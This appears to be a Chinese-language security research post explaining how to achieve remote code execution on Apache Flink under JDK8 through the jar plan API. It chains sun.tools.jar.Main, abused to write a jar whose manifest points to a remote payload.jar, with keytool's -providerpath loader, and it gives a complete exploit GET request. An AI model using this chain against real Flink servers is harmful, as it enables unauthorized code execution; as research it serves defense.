Flink RCE via jar/plan API Endpoint in JDK8

在HackerOne的一篇Flink报告中,展示了一种仅通过get请求就可以完成RCE的思路,其中涉及到的主角

com.sun.tools.script.shell.Main存在于JDK9及以上版本,那么在JDK8及以下版本该怎么办呢?这便是本文的由来。

流程分析

在调用/jars/:jarid/plan 时它接收entry-class​ (类的全限定类名) 和programArg​(main方法的参数),然后会调用到

org.apache.flink.client.program.PackagedProgram#loadMainClas​来加载传入的类

其中加载类的ClassLoader是URLClassLoader的子类

然后会调用org.apache.flink.client.program.PackagedProgram#callMainMethod​ 来反射调用main函数

整体下来并没有看到什么其他的特性可用,需要老老实实的来寻找可用的main函数了。

可用类寻找

首先根据上面分析的要求编写查询语句,这里直接使用tabby,由于本来存在main函数的类就不多,索性就全部查出来挨个看一看吧

1
2
match (m1:Method) where m1.NAME="main" and m1.IS_STATIC=true and m1.IS_PUBLIC=true
return m1

一共142个,手动排除一下根本加载不了的(如jvm的核心类,类非public等等)就变得很少了,经过大致的筛选,我挑了这样几个类

1
2
3
4
5
jdk.nashorn.tools.Shell
com.sun.org.apache.xerces.internal.impl.xpath.XPath
sun.security.tools.keytool.Main
com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile
sun.tools.jar.Main

jdk.nashorn.tools.Shell

这个类是一个命令行工具,它提供了一个交互式的 JavaScript shell,可以在命令行上运行 JavaScript 代码,不过遗憾的是,只能在交互状态下执行js,直接调用main只会返回一个交互shell,但是由于我们没有输入交互的地方,因此用不了

com.sun.org.apache.xerces.internal.impl.xpath.XPath

这个类是解析 XPath 表达式的,调试看了一下后发现既不能写文件也不能用xpath表达式执行代码,遂放弃

sun.security.tools.keytool.Main

这个类是JDK中用于创建、导出和导入证书用的,通过调试发现其可以通过URLClassLoader加载jar包

但由于url的协议写死成了file,因此只能加载本地的jar

使用如下demo即可加载本地jar

1
sun.security.tools.keytool.Main.main(new String[]{"-LIST","-provider:","classname","-keystore","test","-providerpath","/tmp/xxx.jar"});

com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile

这个类是用来将xslt编译成class的,网上也有文章针对xslt的问题进行了研究 JDK-Xalan的XSLT整数截断漏洞利用构造 主要研究了在JDK中将xslt转为class时通过整数截断漏洞生成恶意的class,作者在文中也说了在转换的时候没有类的实例化过程,因此执行不了代码

sun.tools.jar.Main

这个类用于创建、查看和提取JAR,光听描述就觉得很有看头,经过一番测试后会发现创建jar时首先要有对应的class文件在服务器上,并不能通过远程方式来获取class组成jar,在创建jar时要求很宽松,无论什么文件都可以压缩到jar中,同时还可以自定义MANIFEST.MF​文件的内容,但是由于我们控制不了class内容,看起来又无法利用了,这时我将目光转向了MANIFEST.MF​上

根据描述,Class-Path 可以指定jar包的依赖关系,ClassLoader会根据该路径来搜索class,前文我们已经有了一个URLClassLoader,那么我们可不可以指定Class-Path路径为远程路径来加载类呢?经过测试确实是可以的,那么可以使用如下的示例来在服务器上创建一个jar

1
sun.tools.jar.Main.main(new String[] { "cfe", "/tmp/hello.jar", "hello\nClass-Path: http://ip:port/payload.jar", "/tmp/" });

payload.jar内容如下

利用过程总结

最后总结一下利用过程,美中不足的是需要flink有自动重启功能,因为在sun.tools.jar.Main​ 的main函数中存在着exit,写完jar后会直接退出进程;首先写入jar包

1
http://127.0.0.1:8081/jars/952110e0-460f-4c77-9985-814e7bcc816b_jobjar-1.0-SNAPSHOT.jar/plan?entry-class=sun.tools.jar.Main&programArg=cfe,/tmp/hello.jar,hello%0aClass-Path%3A%20http%3A%2F%2F127.0.0.1%3A9999%2Fpayload.jar,/tmp/&parallelism=1

写入的jar包的MANIFEST.MF​ 文件内容如下

然后使用sun.security.tools.keytool.Main​ 来加载这个jar,进而利用URLClassLoader加载远程的payload.jar ,执行命令

后记

有趣的是,上文中的方法在去年的TCTF的一个选手的writeup中出现过,见 (My 0CTF/TCTF 2022 hessian-onlyjdk solution),不过当时的题目与flink并无任何关系,只是缺少可以执行命令的公有静态方法,其writeup中描述说sun.tools.jar.Main​借助CRLF injection写入了后面的CLASS-PATH,不过我个人觉得这是这个类的正常功能,本身就支持使用换行符写入属性。